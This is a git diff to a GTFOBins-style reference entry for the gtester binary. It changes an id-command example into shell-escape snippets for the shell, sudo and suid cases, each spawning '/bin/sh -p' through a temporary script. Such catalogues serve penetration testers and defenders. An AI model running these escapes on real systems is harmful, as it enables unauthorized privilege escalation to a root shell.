diff --git a/_gtfobins/gtester.md b/_gtfobins/gtester.md
index d1bfff4..abe70bd 100644
--- a/_gtfobins/gtester.md
+++ b/_gtfobins/gtester.md
@@ -1,17 +1,24 @@
 ---
 functions:
-  command:
+  shell:
     - code: |
         TF=$(mktemp)
         echo '#!/bin/sh' > $TF
-        echo '/usr/bin/id' >> $TF
+        echo 'exec /bin/sh -p 0<&1' >> $TF
         chmod +x $TF
         gtester -q $TF
   sudo:
     - code: |
         TF=$(mktemp)
         echo '#!/bin/sh' > $TF
-        echo '/usr/bin/id' >> $TF
+        echo 'exec /bin/sh 0<&1' >> $TF
+        chmod +x $TF
+        sudo gtester -q $TF
+  suid:
+    - code: |
+        TF=$(mktemp)
+        echo '#!/bin/sh -p' > $TF
+        echo 'exec /bin/sh -p 0<&1' >> $TF
         chmod +x $TF
         sudo gtester -q $TF
 ---